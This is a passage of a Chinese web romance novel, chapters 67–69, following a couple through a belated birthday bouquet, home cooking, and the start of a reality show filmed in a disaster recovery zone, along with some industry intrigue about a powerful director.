右下角的花束数量,整整二百一十四朵。 陆嵬心里一动,卡面封面上的字迹很熟悉,是黎数的字迹。 不是刻意伪装的歪歪扭扭,丑到无与伦比的字迹,而是黎数一贯娟秀整齐的文字。 陆嵬自己都没意识到自己已经笑弯了眼,冷不丁办公室大门被从外推开。 裘夏怪声怪气的进来:“让我看看,谁啊敢给咱陆总送花,小李不行啊这次居然敢给送上来——不是,你怎么笑的这么不值钱?” 陆嵬剜了裘夏一眼,又白了她一眼,侧过身,小心翼翼的打开信封,把那颗折纸爱心收到口袋里,又轻轻的打开了那张有点幼稚,有点粉嫩的卡片—— “上班快乐!” “去年和今年的生日礼物补上,记得查收,处置随意。” “没别的了。” “就一束花,还有一颗心。” “这就叫为你花了心思。” 陆嵬收起卡片,挡住了裘夏伸向卡片的咸猪手,又打掉了她妄图染指那束白玫瑰的贱手。 裘夏捧着两只红通通的爪子:“你真下狠手!” 陆嵬捧起那束花,宝贝的简直不知道该怎么安置最好。 正巧这时候人事主管进门,陆嵬眼前一亮,恍惚想起李情家里有个姐姐是开花店的,应该知道怎么保存,说:“叫前台的李情过来一下。” 人事主管一脸懵逼的下去,莫名其妙的当了个传话老姐。 陆嵬这才有功夫去搭理裘夏,捧着花怕摔了,放下花怕压了,自己都觉得自己这样子像裘夏说的‘不值钱’,又实在忍不住,笑着说:“我老婆补送给我的生日礼物。” 裘夏正经了点去取卡片,这次陆嵬没拦她。 被肉麻的抖了两下,裘夏一边说:“谐音梗扣钱啊。” 一边疑惑的说:“不对吧?去年和今年的补送给你了,前年的生日礼物呢?” 顿了顿,裘夏又说:“还是那个蓝莓蛋糕就是?” 陆嵬说:“也可能是发给我的5200块钱。” 裘夏羡慕:“我老婆只给我发了520。” “又不是给你发的250,你有什么不知足的。”陆嵬低头闻花香,弯着唇说:“反正我老婆给我发了5200,我很满足。” 裘夏:“……” 第68章 第六十八章【VIP】 裘夏从办公室离开,掏出自己的手机,给黎数回了个语音电话。 黎数接通。 裘夏那边不管是对待陆嵬还是她都是一视同仁的轻快,说:“我不理解。” 裘夏行动间已经回了办公室,“你突然让我帮忙去看看陆嵬,我还以为什么事儿,急吼吼的过去一趟,就给我看了个陆嵬收到你送的花以后得那傻样?” 黎数笑了下,说:“抱歉,她有点没安全感,我想知道她是什么反应。” 裘夏静了静,嘀咕着说:“行,那你知道了,她都乐的找不着北了。谁遇着你这情况都得没安全感。” 黎数‘嗯’了声,说了句:“有机会来家里吃个便饭。” 裘夏没当她是客套,也笑了:“《秘宝》杀青以后我老婆要休息到年底,到时候一定去骚扰你和陆嵬。” 黎数全盘照收,又问裘夏陆嵬近两年有没有什么口味、喜好上的偏爱。 裘*夏说了点,黎数认真记下,全程没提过陆嵬梦游和生病的事情。 钱包里是陆嵬给她的那张副卡,十几年过去,黎数也算是尝到了被人养的滋味了。 一时之间也没人能倾诉,黎数想了想,要彻底打破和陆嵬这两年之间的隔阂,还得多沟通。 她拍了个副卡照片给陆嵬发过去。 【黎数:我要花钱了。】 【陆嵬:多花点,不用给我省钱。】 【黎数:[遵命长官.jpg]】 【黎数:有想吃的吗?】 【陆嵬:我都可以。】 陆嵬的口味就是没什么口味。 昨天的争吵还在眼前,陆嵬说过的话也在耳边不断响起。 ‘从前你跟我说的最多的两个字就是听话’‘小时候都是给什么用什么’‘我都可以’。 裘夏说陆嵬这两年吃的都是清淡的东西,但黎数出来前和周姨聊过,周姨说她做的基本都是陆嵬外婆喜欢吃的菜,陆嵬不挑食。 家里还有出门前就炖上的排骨汤,黎数想想,回了句:【排骨汤和龙井虾仁二选一呢?】 陆嵬这次回消息慢了点,黎数看着上面不断显示的‘正在输入中’的字样,又不忍心逗她了:【全选也可以。】 这次陆嵬回的很快:【那我都想吃。】 片刻后,黎数的手机又震了下。 【陆嵬:想吃就都有吗?】 【黎数:想吃就都有。】 这次陆嵬隔了几秒才回复,还是不断地‘正在输入中’,黎数好整以暇的等待着。 【陆嵬:花和心我都很喜欢。】 【陆嵬:我会好好保管的。】 屏幕里隐约投射出黎数满是笑意的脸,她回了个521制作的‘元宝点头’的表情包。 地方到了,521停好车,为了避免引发混乱,它只能在车上眼巴巴的等待。 黎数走前用平板电脑给它打开了数码宝贝看,521一边吐槽这是小朋友才看的,一边原地转圈圈,关门的瞬间,黎数听见它大喊一声“521进化!变超级仙女521!”。 黎数走路走的一心二用,踏足在热闹的菜市场,唯一的感觉,就是明年春节《秘宝》上映前,她不用在夏天也得全副武装才能出门了。 这边的菜市场她是第一次来,但也不影响,黎数只大概扫了一圈就知道了具体划分,在入口处看了会,很快锁定了几家人多、实惠的市场。 采购完后,全部东西归类完毕,黎数歇了一会,和521一起收拾下周要带的行李。 期间黎数又打电话问了陆嵬要不要帮她的一起收拾了,陆嵬说可以。 黎数蹲坐在地上,【那我进你房间了哦。】 三楼的房间她还没有上去过,陆嵬的房间更是还没去过,还挺陌生的。 陆嵬回的很快,还是那句:【好。】 又震了震,陆嵬补了一句:【所有密码都是你的生日。】 陆嵬的房间经常有保洁打扫,521和元宝也都能自由进出的话,那应该没什么秘密。 这么想着,黎数推开了陆嵬位于三楼房间的门。 映入眼帘的,是和楼下房间差不多的规格布局,被子整齐的铺在一起,黎数拎着行李箱走进去,准备先收拾衣柜。 走到床边时,黎数看到了陆嵬床边的台灯上贴的照片。 是自己从前的照片。 她愣了愣,没怎么用力就取下来,翻过去一看,是因为背胶的原因,大概是为了不伤照片,用的是可摘取的,所以粘性不高。 521悄无声息的进门,眨眨眼,看到黎数手里的照片,把陆嵬给掀了个底朝天:“主人,陆嵬还在枕头上贴你的照片,然后晚上抱着枕头睡呢。” 黎数惊诧,回头一看,果然,一个差不多和床边,黎数看不到的那一侧也贴着一张照片, 穿着以前的家居服,的。 站在这个房间里,陆右看,都能看到自己的脸。 黎数莫名其妙想起521在自己脑袋上贴自己的照片,把元宝吓得满别墅跑酷是在学谁了…… 原来睹物思人的事情陆嵬还真做过不少。 把陆嵬的行李收拾的差不多,整理她的换洗内|衣的时候,黎数又沉默了。 两个抽屉,一边纯黑,一边纯白。 同一个牌子,每个颜色买了同款的十条,全都是运动内|衣。 黎数:“……” 可以当背心直接外穿的宽吊带,离了自己,陆嵬真是越活越糙了。 明明以前是会往她书架上塞小|黄|文,在她手机上刷性|感|内|衣的陆嵬。 现在不像是得了性|瘾,像是出家了。 521毫无所觉,扛着比它自己还大的充电舱往电梯走,一边仰起头说:“我也想要比|基|尼。” 黎数清心寡欲:“那不是比|基|尼。” 521不解:“那是什么?” 黎数:“可能是马拉松运动服。”- 卡在五点半的那一刻,陆嵬准时离开公司。 她鲜少这么早走,一路上又是吸引了大波小波的注意,今早那一捧横空出世的花传遍整个寰宇,有不少人提及了黎数。 陆嵬充耳不闻,一路出了大门,还没等暑气将身上包裹,一辆低调的迈巴赫商务从旁边驶来。 黎数坐在后座,手肘支在车窗上,指尖夹着一支香烟,没有点燃,只在鼻尖轻轻嗅了嗅。 陆嵬走到车边,黎数随手把烟含住,给她打开了车门,往里挪了一个位置。 陆嵬坐了进去,目光盯着黎数微张的两片红唇看,说:“烟有点眼熟。” “唔。”黎数应了声:“在你床头看到的,是你的药。” 陆嵬垂着眼,从黎数口中把烟抢走。 烟嘴是干的,黎数只用唇抿着。陆嵬垂眸的瞬间,黎数从口袋里摸出打火机,凑过去给她点燃,轻笑着说:“去六陇市以后不能抽了怎么办?” 陆嵬说:“我又不需要上镜。” 黎数一想也是,又说:“那我不能抽了。” 陆嵬迟疑了下,“是‘小黎’的身体有烟瘾吗?” 黎数摇摇头:“小黎可是个好孩子,她不抽烟。” 陆嵬愣了愣,将烟灰往外掸了掸,回头的瞬间,刚想说话,冷不丁被黎数吻住了。 由浅及深,直到陆嵬手上失去力气,烟顺着疾驰而过的车掉到马路上。 回到家时,陆嵬的嘴唇都是和黎数一般无二的鲜艳。 陆嵬脸上带着明显的餍足,只是总有种似乎脚踩在云雾里的不真实感。 进门的时候,陆嵬牵过黎数的一只手,躁动的又和她吻在一起,黎数被她挤在墙上,也没拒绝,喉咙里发出了几声呜咽。 这一次再分开,陆嵬眸色明显变深,有种呼之欲出的渴望。 黎数在她唇角啄了啄,说:“去洗漱洗漱,今天就咱们三个,准备过来帮忙,然后吃饭。” 黎数在接陆嵬回来前就已经把大半的食材处理好了,等她回来后一下锅就可以。 陆嵬很快的冲了澡下来,耳尖有点红红的。 站在半开放的倒台,看着黎数动作熟练的操作,陆嵬很不经意间问:“内|衣你也帮我收拾好了。” 黎数扫她一眼,闷笑,把一筐已经不动的虾递给她:“虾线挑了。” 陆嵬接过,认真干活,冷不丁听见黎数说:“看到了,又给你买了新的。” 黎数托腮,看着陆嵬敷着一层薄粉的脸,笑着说:“回来后穿给我看。” 陆嵬手上的动作停了片刻,轻轻点了点头。 要做一顿大餐还是累,黎数处理三道肉菜的功夫,陆嵬也撸起袖子帮她处理余下的家常小炒。 “这几个我都会。”陆嵬不由分说的占领另外一个水池子,“我做过,我来。” 陆嵬说做过,就是真的做过,而且手艺还很娴熟。 黎数想起林辰星和自己告别那天,陆嵬做的那两样小菜。 她看了会,取下了另一条围裙,从背后环住了陆嵬的腰给她系上,说:“什么时候学的?” 陆嵬焯秋葵的功夫回头,说:“发现你的身份的时候。” 黎数问她:“学这些做什么?” 陆嵬把秋葵装盘、倒料汁:“想以后做给你吃。” 黎数想起陆嵬让她收拾的行李的重点:“灾区可没那么多好吃的。” 陆嵬也没瞒着:“压缩饼干、凉水泡面、干噎面包、脱水蔬菜,都能吃,我不挑。” 陆嵬的语气说的太轻松,黎数却一点轻松的反应都给不出来。 这一顿饭做了近两小时,三荤三素,张姐都吃的赞不绝口,扬言很有家的味道。 黎数破天荒吃了主食,不过盛的不多,饭桌上叮嘱陆嵬:“多吃点。” 陆嵬往嘴里塞了口红烧肉,差点咬着舌头。 三两口吞下去,她又夹了新的,说:“好。” 黎数心想陆嵬的口味其实完全没变,两年也没那么遥远。 菜色上偏好甜口,不过也不能经常吃,容易腻。 黎数笑了笑说:“把你瘦下去的那十几斤给补回来。” 黎数捏捏陆嵬凸起的腕骨,忽然瞥见她那条可以当古董的破表带:“这条表带怎么这么眼熟?” 陆嵬看了眼,说:“第一次咱们两个去逛街,你在十元超市自选店给我买的。” 黎数:“……” 想起来了。 那时候她也没什么钱,和陆嵬出门的时候经常吃的都是路边摊,超市也都是去的大众超市。 那时候只知道陆嵬家里条件好,但完全没想到能好到什么程度。 这条表带,原身是个十块钱的手表,花里胡哨,买回去没一个星期就不走字了,陆嵬当时还很不高兴,没想到把表带留下来了。 黎数也不知道自己是怎么想的,忽然问她:“表盘呢?” “在三楼。”陆嵬说:“我一直收着。” 黎数笑的酸涩:“这么便宜的坏东西,你还一直收着做什么。” 陆嵬回答:“我有收集癖。” 黎数又被她逗笑,心里是高兴的,送出去的每一个礼物都被珍重,就说道:“以后给你送更好更贵的。” 陆嵬狮子小开口:“那就先买个一百块的。” 吃完饭还不用洗碗,521操控着洗碗机收拾厨房。 黎数和陆嵬一起擦着灶台和一些琐碎的垃圾,冷不丁想起什么,说道:“这次元宝和521能带过去吗?” “可以。”陆嵬说:“不过不能带房车,521也不能出镜。” 她低头看了眼521,沉吟片刻又说:“出镜也不是不行,装的弱智一点就可以了。” 黎数点头表示理解,但521不愿意了,玩着池子里的泡泡怒骂:“你就是想骂我弱智!” 陆嵬否认:“当然没有。” 521愤怒重哼- 晃眼间,一周的时间转瞬即逝,《地球人心》节目组正式下发了通知开始录制。 黎数一开始因为裘夏说的要过来采景还紧张了很久,担心会不会连累陆嵬被骂。 虽然住了已经有几个月,但其实这里的生活气息并不是很强。 移栽的花种还没抽芽,精心挑选的多肉还没服盆,客厅没有乱糟糟无法收纳的生活用品,玄关也没有凌乱的东一只西一只的拖鞋。 沙发、地毯和窗帘上倒是有,几个月的时间,被混熟的元宝抓成了烂布条。 十八万的地毯被黎数收起来,换成了拼刀刀八十块的。 颜色鲜亮厚重,陆嵬反而很满意,刚到的时候上去踩了好几圈,忽然扭过头,冲黎数说:“有种回到了家的感觉。” 黎数那时候坐在便宜地毯上笑:“那看来我把你养的很差。” 陆嵬摇摇头,和黎数面对面坐着,膝盖对着膝盖,“当时的你给了我全部。” 陆嵬重音重复:“全部的。” 黎数心里一震,笑着说:“你怎么不说是你不嫌弃我条件差,愿意跟我一起挤在出租屋和小房子?” 陆嵬犹豫片刻,“有一句话,我感觉我说出来要被人骂。” 黎数‘嗯?’了声:“什么?” 陆嵬垂下眼,说:“我当时除了钱,什么都没有。” 黎数怔了怔。 “从小就寄人篱下,没有家,没有父母,姥姥忙于事业,后来又生了重病,接近我的人大多不是为了钱就是为了我写的内容。就连钱都是从我母亲那里抢来的,因为我外婆不愿意把公司和产业交给她,我拿的名不正言不顺。”陆嵬苦笑一声:“是不是很矫情。” “没有,一点都不会。”黎数摸摸陆嵬的头发,心疼的不行。 陆嵬埋在黎数的怀里不愿意起来,就在这时,门铃被敲响,521说:“是节目组的人过来啦。” 黎数拍拍陆嵬的脸,安抚性的亲了她一下,“乖乖。” 陆嵬起身的瞬间调整好情绪,过去和节目组对接,以寰宇执行总裁兼黎数代理经纪人的身份。 进来的是现场执行的小组,一名采访导演,一名统筹,其余摄影组和跟机、录音组人员若干。 总负责人显然是跟陆嵬认识,一进门先和陆嵬握手寒暄了一会。 陆嵬朝着黎数挥了挥手,说道:“小黎,过来见见人。” 很久没听见的新鲜称呼,黎数眼睛含笑,大大方方走过去,看到了对方的名牌问号:“严老师好,久仰大名,没想到这次居然是您来,我是您的忠实听众。” 黎数的单采导演是中央知名采访导演,全名叫严澜,四十岁左右的年级,是中央严选的大气端庄的长相。 “你好。”严澜眼尾有些许岁月的痕迹,但也令她更显温柔,“之前和小雪、费老师碰过面,一听说我要采访你,她们两个可都跟我说不要为难你。” 黎数笑了笑说:“两位前辈人好,我又是陆总旗下的艺人,沾光罢了。” 工作人员装好机器,严澜拍拍黎数的手臂,不算严肃的开始前采。 单采环节已经提前对过台本和内容流程,黎数只需要一一回答就可以。 严澜:“录制全程可都是不开滤镜,也没有补光的,会紧张和担心吗?” 黎数:“我不是靠脸吃饭的,不担心也不紧张,等到八十一的时候再紧张也可以。” 严澜笑了笑:“我看你的行李准备的不多,不怕到地方什么都短缺吗?” 这个黎数早就有经验,说道:“紧急物品物资站点都有,除了卫生间,我一时间想不到什么短缺的东西。” “护肤品、化妆品、吹风机、换洗衣裤之类的呢?” “天气这么热,带两件就够了,拧干水晾在外面,太阳底下三分钟就能干头。” 严澜又说:“我看你身上的包里鼓鼓囊囊的,是随身携带了什么?” “一些不怎么占地方的小皮筋。”黎数打开,里面是纯黑色的一捆皮筋,压缩包装的,足有上千个:“女孩子可以绑头发,这种天气散着头发也挺难受的。或者用来束住袖口、裤腿之类的地方,防止虫子往身上钻,也能用来止血等等。” 严澜诧异:“你以前有过野外生存的经验吗?” 黎数摇头:“是陆总告诉我的。” 另外一个镜头对准了陆嵬,陆嵬一言不发,静静的站在角落里,和工作人员一起,全程陪伴着黎数采访。 采访很快结束,一行人上了节目组的车。 这一路上都不需要再拍摄,黎数和陆嵬分了两辆车坐,一起前往机场,最终要到六陇市会和。 抵达六陇市的飞机一共近四小时,下车后又转了剧组在当地准备好的车队,市级城市,机场附近空旷无比,可见的只有汽修和老旧的厂房。 六陇市一路青山绵延,常年雨季,群山间笼罩着散不去的雾气,四下望去都是绿色,一座座桥都架在头上,呼吸间都是灼热的湿气。 最终,到达了节目组第一个月要拍摄的城区。 节目开始之前一切都是保密的,黎数到了地方才发现,拍摄的地点居然就是当年她出事的那个市区。 距离她埋骨的地点,也不过只有五公里而已。 遥遥的,黎数和镜头外的陆嵬隔空对视了一眼。 陆嵬一直一言不发,到了这里以后更是满腹心事。 521出来以后很怕走丢似的抓住了陆嵬的衣角,一只手攥紧小拳头环着陆嵬的腿:“我不喜欢这里,我觉得我要是在这里呆久了,我会生锈的。” 陆嵬扫她一眼:“大脑?那不是已经生锈了吗。” 521愤怒:“你是不是又在骂我!” 不多时,所有拍摄嘉宾全部抵达六陇市,出场的顺序也有讲究。 黎数问过才知道,第一个到的是她的前经纪人旗下的流量段白杨,第二个是名模应华,第三个是自己,第四个是视后东方英,第五个是著名主持人燕沙雨,最后一个,则是姗姗来迟,但看起来一点都不匆忙的刘香铃。 一下车,黎数就注意到曲心然的目光在不断地往自己的脸上看。 黎数没有转头。 没有过多的寒暄,毕竟《地球人心》没有固定的MC一说,导演组很快分配几人分组,但和计划出了些变动,不再是两人一组,而是六个人平分两组。 黎数已经知道自己要和刘香铃一组,后加入的是名模应华。 她们要前往的,是一家坍塌的福利院。 一路上都是触目惊心的残垣断壁,节目组的工作人员取景在这里已经待了一段时间,多多少少有了些抵抗力,但来的嘉宾没有。 刘香铃作为曾经的大灾难幸存者,一路上显得格外沉默。 应华穿着格格不入的坡跟鞋,一路上崴了好几次脚,脸色越来越难看。 黎数看着她走路艰难,想到的却是陆嵬那一夜穿的是高跟鞋,还是晚上,恐怕只会更难行。 到达福利院附近,黎数看到了什么,忽然怔住了。 不远处有消防和武警官兵正在围绕着一片半倒塌的建筑,不远处有孩子的哭闹声传来。 一顶顶的绿色帐篷中,一名面庞晒得黝黑,浑身泥泞的指挥官正拿着对讲机说着什么。 不经意的一扭头,指挥官的目光和黎数遥遥相对,身体霎时间僵住了。 陆嵬察觉到黎数的情绪不对,上前了两步,和摄影师打了个招呼,摄影师暂停了录制,低头调试机器。 陆嵬低声说:“怎么了?” 黎数的视线被陆嵬挡住,没有隐瞒,伸手握住了陆嵬的手腕,低声说:“那是我姐姐,黎清。” 陆嵬没回头,小声问她:“要去打招呼吗?” 她抬起脸,因为身上还没装收音,所以镜头捕捉不到她的声音。 但陆嵬能听到,也听到了黎数说:“不用。” 陆嵬小心碰碰她的手背,一触即分:“我在呢。” 黎数笑了笑,仰起脸:“嗯。” 两人之间隔着一个拳头的距离,身前身后都是人和记者,黎数小声的说:“要不是到处都有人和镜头,我真想抱抱你。” 陆嵬说:“等晚上。” 第69章 第六十九章【VIP】 受条件限制,所有嘉宾和节目组的人一起,全都得住临时帐篷。 嘉宾每周需要换不同的组别去参与工作,共分救援组、医疗组、后勤保障组和志愿组。 每周所有人碰一次面,交换心得或是聚在一起吃一顿饭,聊聊天,为每一周做一个总结。 节目一共录制一个月,黎数三人第一周被分在了志愿组。 志愿组的人只剩下一个咨询,其余人全员出动去帮忙了。 留下的志愿者是个腿上缠了绷带的小姑娘,脸蛋白皙,有南方人独有的湿润和白净感:“我们这的工作比较万金油,没有固定的工作点,哪缺人上哪打下手,招呼一声就走了,其他时间就可以休息。” 三人点点头,刘香铃问:“我们刚来,有什么我们能参与的吗?” “现在差不多到晚饭的点了,你们要不去食堂帮忙?”小姑娘也不怕生,眨着一双眼说:“你们分分工吧,刚好做完就可以一起吃饭了。” 作为三人组里的老大姐,刘香铃的地位不言而喻,应华和黎数都在等着她发话。 刘香铃先问:“你们有什么想法?” 黎数没什么想法,做过菜的都知道,洗切炒这三个步骤,一旦涉及到了人数,那就没有一个是轻松的环节。 刘香铃自然也知道,她目光扫了眼两人,笑了笑,发话说:“那就抽签吧,最公平公正,怎么样?” 黎数也笑了:“好。” 最终抽到的签是黎数洗菜、刘香铃切菜、应华炒菜。 三人便全都前往了大食堂。 路上,陆嵬忽然说:“你知道食堂是什么样的规模吗?” 黎数摇头,迟疑了下说:“剧组那样的?还是大学食堂那样的?一个房间里面各自分了区域准备?” 脚下还是正在恢复期的灾区,已经有部分房屋重建,也有很多危楼尚未被拆除。 陆嵬笑了笑,说:“都不是,原来也有你不知道的。” 快到了,离得老远,黎数忽然听到了一阵嘈杂声。 映入眼帘的,是足有上百人的一大片空地。 空地上方有大棚遮阳挡雨,许许多多台大风扇在角落里飞速旋转,一眼望去全都是脸上笑容洋溢的女人们,或高或低,或胖或瘦,全都认真且飞速的处理着手上的食材。 陆嵬轻声说:“六陇市以村、小区等为区域,各自组织准备三餐。这些食物,除了要供给各区域的幸存者,还要供给给一线的战士、志愿者们。” 黎数从没见过这样的情形,忍不住追问:“这么多……她们是每天要从早忙到晚吗?” 陆嵬点头:“差不多。你眼前所看到的这个体量,一天差不多要送出去上万份的盒饭。” 黎数倒吸一口凉气,震惊于眼前这条熟练且分工明确的流水线的制造速度,“这么多!” 不远处的一个桌子上,一筐已经削好皮的土豆,在比元宝的浴盆还大的盆里面堆成了山,切菜的阿姨正好换工,爽朗的笑着转动了下已经麻木疼痛的手臂,退下去,却没离开,自发前往了洗菜分拣区。 几个灼灼燃烧着的大锅附近,两三个人交替着,围着各自的大铁锅,用种地的铲子在一下下的炒着菜。 刘香铃满眼复杂的看着面前这一切。 她是灾后幸存的,当年年纪尚小,但留给她的,除了灾害的阴影,更多的是万众一心的凝聚力,和灾区所有人对待孩子的偏爱、疼宠、看重。 刘香铃抬头看了眼两人,没有伤心,笑了下说:“好了,咱们也加入战斗吧,早点干完活,也能早点吃饭了。” 黎数刚要上前,应华别别扭扭的走上来,看了她一眼,低声说:“哎,妹妹,咱俩换换成吗?” 黎数抬头看了她下,“应华姐,你想去洗菜?” 应华犹豫了片刻,但看到那边抡着铲子的模样,还是咬咬牙说:“对。” 黎数看了眼陆嵬,可有可无得点头说:“可以。” 其实食堂的工作都是轮换的,干不动了招呼一声换位置就可以。 毕竟这种工作下,炒菜是个重体力活,切菜长时间单一动作,都干不长久。 工作人员调试麦的功夫,黎数捏了捏陆嵬的手,拇指在她手心轻扫,轻声说:“回来给你带鸡腿吃。” ,“好。” 对于应华来说,陆嵬的名字如雷贯耳, 她知道陆嵬背景深,但一方面她,两年前结婚,今年才重新回到观众视野中。 看着黎数很快走到大灶台旁边,被一群阿姨婶婶团团围住的样子,应华忽然笑了笑。 “陆总。”应华靠近陆嵬,“前些天我老公因为我复出的事儿L,和顾导在饭局上见过一面。回来以后他告诉我,说顾导一开始对我没什么意思,毕竟路子不同,但后来听说我和小黎上的是同一档节目后,就明显来了兴趣,跟我老公也露出了点往下合作的想法。” 陆,“是吗?” “但你说巧不巧,最后是我上了节目,顾导反而被砍了。” “是挺巧。” 应华笑笑,“圈里的老人都不是傻子,我知道你和顾导不对付,我当年选择息影的原因,有一大半是他的功劳。但他一向只手遮天,我也没那本钱能跟他抗衡,最后只能挑了个差不多的结婚。” “只不过我老公近几年回内地发展,他又是转型中的娱乐公司,少不得要和顾导碰面,工作业务上也会慢慢牵扯的越来越深。” 陆嵬的目光始终是看着黎数的。 黎数的长相温和、漂亮,却没有无攻击力,大方,看谁又都带着一副笑眼,谁喊一声她就能去帮忙,永远都是一副热心群众的模样。 这帮大姨大婶估计是挺长时间没见过这么青葱水嫩,看着脾气好,长得又那么漂亮的小姑娘了,一个劲儿L的盯着她的脸瞧。 掏手机的,合照的,搂着黎数笑的,抓着她手不撒开跟家里人打视频的。 黎数也有点太招人喜欢了。 陆嵬回话回的也有点不专心,心里涌起了点烦躁,只礼貌性的回了个:“啊。” 镜头还在拍着,应华胸口的麦摘了,摄影师也就知道是有东西不能拍了,只举着机器拍空镜。 应华沉默了两秒,“你就当我是递个投名状,我知道顾导那不干净,我这个丈夫对我还不错,我不希望顾宗年倒台的时候,会因为他,再连累到我。” 陆嵬这次看了她一眼,过了会说:“递投名状总要有点诚意。” 应华眼睛一亮:“这次他被刷下去真的有你们的手笔?” 陆嵬没正面回答。 应华也知道自已问多了,稳了稳神色,低声说了个名字:“我有他出轨的证据,他还有个私生女。” 陆嵬凉凉一笑:“就这?” 应华抿抿唇:“还有夏希。是顾宗年用孩子一直要挟她。那个孩子,是夏希和他的孩子,但那个孩子已经死了,尸体下落不明,同一年,照顾那个孩子的保姆也被顾宗年送出了国,再也没回来过。” 陆嵬这次回头看了她一眼。 “你看起来,不光是只想让你丈夫跟顾宗年划清界限。”陆嵬说:“倒是想让他死。” 应华这回沉默的时间有些长。 过了片刻,她说:“我被顾宗年封杀的时候,才刚刚二十三岁,一年内我可以接上百场国际大秀,同年登上了维密,获得了‘国花’的殊荣。然后一切戛然而止,现在我三十三岁,过去了十年,我除了一个‘嫁入豪门’的噱头,其他的已经什么都不剩了。陆总,你懂那种从云端跌到泥潭的痛吗?” 陆嵬明白了。 但还是有不解:“你和夏希什么关系?” 应华这次说:“没什么关系。只是凑巧认识,又凑巧成了个救不了人,只能看她自已往火坑里跳,不忍心,想救她,却又无能为力的旁观者罢了。” 陆嵬却从应华看似充满感情的所有话语中直指核心:“看来你手里有证据,这个证据就是你的保命符吧。” 应华浑身一震。 陆嵬淡淡地说:“但应该不是决定性证据,也不足以让顾宗年判刑,顶多是舆论上让他难看几年,但以顾宗年的地位,这些证据,只是一些可以被粉饰的丑闻。只不过处理起来会比较麻烦,所以他才放你离开了内地。” 应华苦笑一声:“陆总,跟你们这些生意人聊天可真难。你跟小黎也是这么相处的吗?” “我不是生意人。”陆嵬说:“跟她相处,我才是不需要动脑的那一个。” 节目组的人开始过来催流程,应华不能再耽搁了,心知想和寰宇、凝火搭上线,必须得给出点有诚意的东西。 她低声说:“夏希没疯,她手里的证据肯定比我多得多,毕竟她和顾宗年真的相爱过。顾宗年送出国的那个保姆前几天从湾区周转回了老家,他还不知道,也可能是没顾得上。” 陆嵬这次说:“知道了,我会让裘夏去联系你老公。” 应华这次松懈下来,感激的笑了笑,也加入了忙碌的阵营里。 忙到晚上天黑星起,黎数才拎着自已和陆嵬的饭菜回到她们两个住的帐篷。 521和元宝就藏在里面,狭小闷热的帐篷因为有了521的存在居然也凉风习习,在外面冲过一个澡,黎数进来后终于能喘口气了。 她倒在柔软的垫子上,闭着眼睛说:“好累。” 陆嵬给黎数揉揉胳膊,说:“帐篷里没装摄像头。” 黎数又睁开眼,默默的看了陆嵬一会,陆嵬去组装小桌子,也就三十多公分高,只够两个人坐在地垫上吃。 黎数果然给陆嵬带回来了一个鸡腿,不过也只有一个。 她自已那份是恢复区常见的供应餐,简单的番茄炒蛋、土豆丝、和清炒青菜。 黎数还躺在那,困得眼睛阖上了一会,感觉下一秒就能睡着。 陆嵬摇摇她软乎乎的膝盖上的肉,伸手捏捏,又顺着她的腿一路向上到小腹。 黎数穿的单薄,躺下后所有衣服都极其贴合曲线,完美的身材一览无遗,陆嵬眸色有点深,但掌心向下按了按,还是说:“起来吃饭。” 得知帐篷里没装摄像头后,黎数闭着眼,耍赖似的笑了笑,也不动弹,低声说:“你喂我吃。” 陆嵬看着她笑了笑,说:“好。” 黎数睁开眼睛,跟陆嵬对视了一会,见陆嵬真就打开了塑料饭盒,一筷子菜一筷子饭的给她喂着吃,也跟着真就张开了嘴。 吃完两口,嘴角沾到油腥,陆嵬还用纸巾给她擦。 实在是忙了一天,一躺下真就起不来了,胳膊腿都是疼的,有人这么无微不至的照顾,黎数就更懒得动了。 “你之前在六陇市也是这么过来的吗?”黎数问她。 陆嵬摇摇头:“没在后厨,我都在一线。” 黎数一只手抬了抬,陆嵬看到了,放下了拿着饭盒的那只手,和她握在一起。 黎数垂着眼,在陆嵬指骨上轻轻啄了下,低声说:“当时受伤了吗?” 陆嵬定定的看了她两秒,似乎是在考虑要怎么说。 黎数仰起脸,陆嵬才确定的说:“大伤没有,小伤很多,不过都愈合了。” 黎数又问她:“身上有留疤吗?” 陆嵬看着她的眼睛,先伸出一根手指,在黎数唇上蹭蹭,说:“手上的你刚刚亲过了,不仔细,漏掉*了一块。” 黎数又借着帐篷顶上的光细细找了找,在陆嵬虎口处发现了一道不怎么明显的浅色印记。 她又轻啄了一下,陆嵬说,“你要把我身上的伤都亲完吗?” 恢复区没什么充电设备,也没有什么娱乐设施,除了以家庭为区域入住的帐篷,四下里一片安静。 黎数轻笑,声音也压得很低:“也不是不行。” 陆嵬看了看这狭小的帐篷,说话都不敢高声,伸手掐了掐黎数的下巴,“别招我。” 黎数垂着眼,过了几秒说:“病怎么样?要不要抽一根烟?” “可以控制。”陆嵬说:“你在我身边,就可以控制。” 也不等黎数说话,陆嵬忽然俯身,把黎数整个圈在了怀里,嘴唇吻在了黎数和从前一般无二的脖颈上,那里的两颗小痣很明显,没几下就被陆嵬吸的绯红。 盯着那看了会,陆嵬才不急不缓的开口,说:“姐姐,你是不想和我做吗?” 黎数被陆嵬整个人圈在怀里,抱的密不透风,一手在陆嵬的腰上轻轻搭着,闻言忍不住攥了下陆嵬的衬衫一角。 感受到黎数在推她,陆嵬垂下眼,放松了点,但居高临下的跪在黎数腿间,一双眼就这么望着她。 这个问题始终横亘在两人中间,黎数知道自已一直在逃避,也心知以陆嵬的聪明,不可能没看出来。 明明已经买齐了道具,可总在行动前开始产生无穷的抗拒。 黎数没有别过头,静静地看了陆嵬一会,双手贴住了陆嵬的脸,轻声说:“不是不想,我只是觉得有点别扭,因为身体不是我的身体。” 黎数又将手缩回去,停顿了片刻说:“但我觉得,好像快了。” 黎数的那双手摊开、平放在了陆嵬眼前。 腕上的伤口愈合、留疤,增生,现在消失的无踪无际。 陆嵬看着,嘴里说:“那你一辈子不变回来,一辈子就要和我柏拉图吗?” 黎数静了静:“这不会。” 她又把那只手往前凑凑,去戳陆嵬柔软的唇:“不光是你想。” 陆嵬很清晰的记得黎数的手是什么样子。 眼前的这双手逐渐在和记忆里黎数的手融合在一起,食指第二个指节的小痣,无名指贯穿整条手指侧面的疤痕。 陆嵬轻轻抚了抚,说:“这条疤是你小时候留下来的,你告诉过我。” 黎数‘嗯’了声:“小时候这根手指被割伤了,缝了很多针。” 陆嵬问她:“什么时候有的?” 黎数自已也很纳闷,同时觉得惊奇:“洗澡的时候……” 陆嵬很确定:“下午离开我之前还没有。” “没离开你。”黎数哭笑不得:“暂时分开行动。你怎么知道那时候没有?” 